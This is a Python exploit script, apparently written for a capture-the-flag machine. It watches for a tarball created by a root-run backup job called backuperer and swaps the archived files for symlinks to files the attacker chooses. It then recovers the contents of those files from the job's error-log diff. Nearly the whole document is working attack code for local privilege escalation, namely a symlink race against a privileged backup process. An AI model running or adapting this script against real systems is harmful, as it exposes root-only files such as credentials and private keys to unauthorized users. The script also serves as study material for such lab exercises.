"""
Title: triggered
Date: 20181008
Author: epi <epibar052@gmail.com>
  https://epi052.gitlab.io/notes-to-self/
Tested on: 
    linux/i686 4.15.0-041500-generic #201802011154 
    Python 3.5.2 
    pyinotify 0.9.6
"""
import os
import time
import tarfile
import argparse
import itertools

from pathlib import Path
from datetime import datetime

import pyinotify

MY_TMP_DIR = Path('/tmp')
CURRENT_YEAR = datetime.now().year


def spin(secs: int) -> None:
    """ Simple spinner, because why not.

    Args:
        secs: Number of seconds to spin
    """
    clock_intervals = ['b', 'd', 'p', 'q']
    spinner = itertools.cycle(clock_intervals)
    speed = 0.1
    counter = 0
    while counter < secs:
        print(next(spinner), end='')
        time.sleep(speed)
        print(flush=True, end='')
        print('\b', end='')
        counter += speed


def exclude_empty(path: str) -> bool:
    """ Helper for exclude keyword used when creating a tarfile.

    When called, if result is True, that directory is ignored by tarfile.

    Args:
        path: Filename to check for exclusion from tarfile

    Returns:
        bool
    """
    return str(path).endswith('.empty')


class EventHandler(pyinotify.ProcessEvent):
    """
    Handles notifications and takes actions through specific processing methods.
    For an EVENT_TYPE, a process_EVENT_TYPE function will execute.
    """
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self.tarball_name = ""
        self.used_files = dict()
        self.to_read = kwargs.get("to_read")

        print('[+] Files to read:')
        for file_to_read in self.to_read:
            print('[-] {}'.format(file_to_read))
        print()

    def process_IN_CLOSE_WRITE(self, event: pyinotify.Event) -> None:
        """ Handles event produced when a file that was opened for writing is closed.

        This function is designed to trigger on the creation of the tarball generated by /usr/sbin/backuperer

        Args:
            event: pyinotify.Event
        """
        file = Path(event.pathname)

        if not file.is_file():
            return

        try:
            tf = tarfile.open(str(file))
        except tarfile.ReadError as e:
            return print("{}: {}".format(file, e))

        # if we reach this point, we have a legitimate tarball and can proceed
        print("[+] Tarball created by /usr/sbin/backuperer")
        print("[-] {}".format(file), end='\n\n')

        os.chdir(str(MY_TMP_DIR))  # ease tar creation later on
        self.tarball_name = str(file)  # store for reference when processing the error_log modified event later on

        # extract the backup made by /usr/sbin/backuperer to /tmp; result /tmp/var...
        for tarred_file in tf:
            try:
                tf.extract(tarred_file)
            except IOError as e:
                # there's a file with weird perms, just skipping it
                # var/www/html/webservices/monstra-3.0.4/public/uploads/.empty
                pass
            else:
                os.chmod(tarred_file.name, tarred_file.mode)

        print('[+] Files from {} extracted'.format(file), end='\n\n')

        tmp_var = MY_TMP_DIR / 'var' / 'www' / 'html' / 'webservices'
        real_files = tmp_var.glob('**/*.*')  # recursive listing of the extracted files (/tmp/var/www/html/webservices...)

        for file_to_read in self.to_read:
            file_to_overwrite = next(real_files)  # get file/folder in the backup

            while not file_to_overwrite.is_file():
                # iterate over files/folders in the backup until we get an actual file
                try:
                    file_to_overwrite = next(real_files)
                except StopIteration:
                    return print('No (more?) files to overwrite')

            # file_to_overwrite should be something like /tmp/var/www/html/index.html

            # strip leading /tmp before appending for printing from error log later
            self.used_files[str(file_to_overwrite).replace('/tmp', '', 1)] = str(file_to_read)

            print('[+] Found file to overwrite: {}'.format(file_to_overwrite))
            file_to_overwrite.unlink()

            print('[-] Linking {} to {}'.format(file_to_overwrite, file_to_read))
            file_to_overwrite.symlink_to(file_to_read)

        print('[-] All files to be read are linked.', end='\n\n')

        print('[+] Tarring up the altered backup.')
        new_tf = tarfile.open(str(file), mode='w:gz')
        new_tf.add('var', exclude=exclude_empty)
        print('[-] Tarball {} created.'.format(str(file)), end='\n\n')

    def process_IN_MODIFY(self, event):
        """ Handles event produced when a file is modified.

        This function is designed to trigger when /var/backups/onuma_backup_error.txt is appended to.

        Args:
            event: pyinotify.Event
        """
        print('[+] Error log modified, checking results.', end='\n\n')

        # the error log gets modified first with the timestamp, then with the diff; we sleep to wait for the diff to
        # complete or we may lose some entries
        spin(secs=10)
        most_recent = False

        with open(event.pathname, encoding='utf-8') as f:
            for i, line in enumerate(f):
                if not most_recent and line.startswith(self.tarball_name):
                    # found line with backup name, everything below is our diff
                    most_recent = True
                elif most_recent:
                    if line.startswith('diff -r'):
                        diff_line = line.split()  # grab /var/www/html/index.html or similar
                        if diff_line[2] in self.used_files:  # lookup what we linked in its place
                            print('\n[+] {}'.format(self.used_files.get(diff_line[2])))
                    elif line.startswith('> ') and 'while(c--)' not in line:  # ugly javascript block filtered out
                        print(line.replace('> ', '', 1), end='')
        raise SystemExit  # we out


def main(args_ns):
    wm = pyinotify.WatchManager()

    handler = EventHandler(to_read=args_ns.to_read)

    notifier = pyinotify.Notifier(wm, handler)

    wm.add_watch(args_ns.to_watch, pyinotify.IN_CLOSE_WRITE)  # for altering tarball
    wm.add_watch('/var/backups/onuma_backup_error.txt', pyinotify.IN_MODIFY)  # for reading error_log

    notifier.loop()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--to_read', nargs='*', help="Space separated list of file names to be read from the diff", required=True)
    parser.add_argument('to_watch', help='Directory to watch for events')

    args = parser.parse_args()
    main(args)
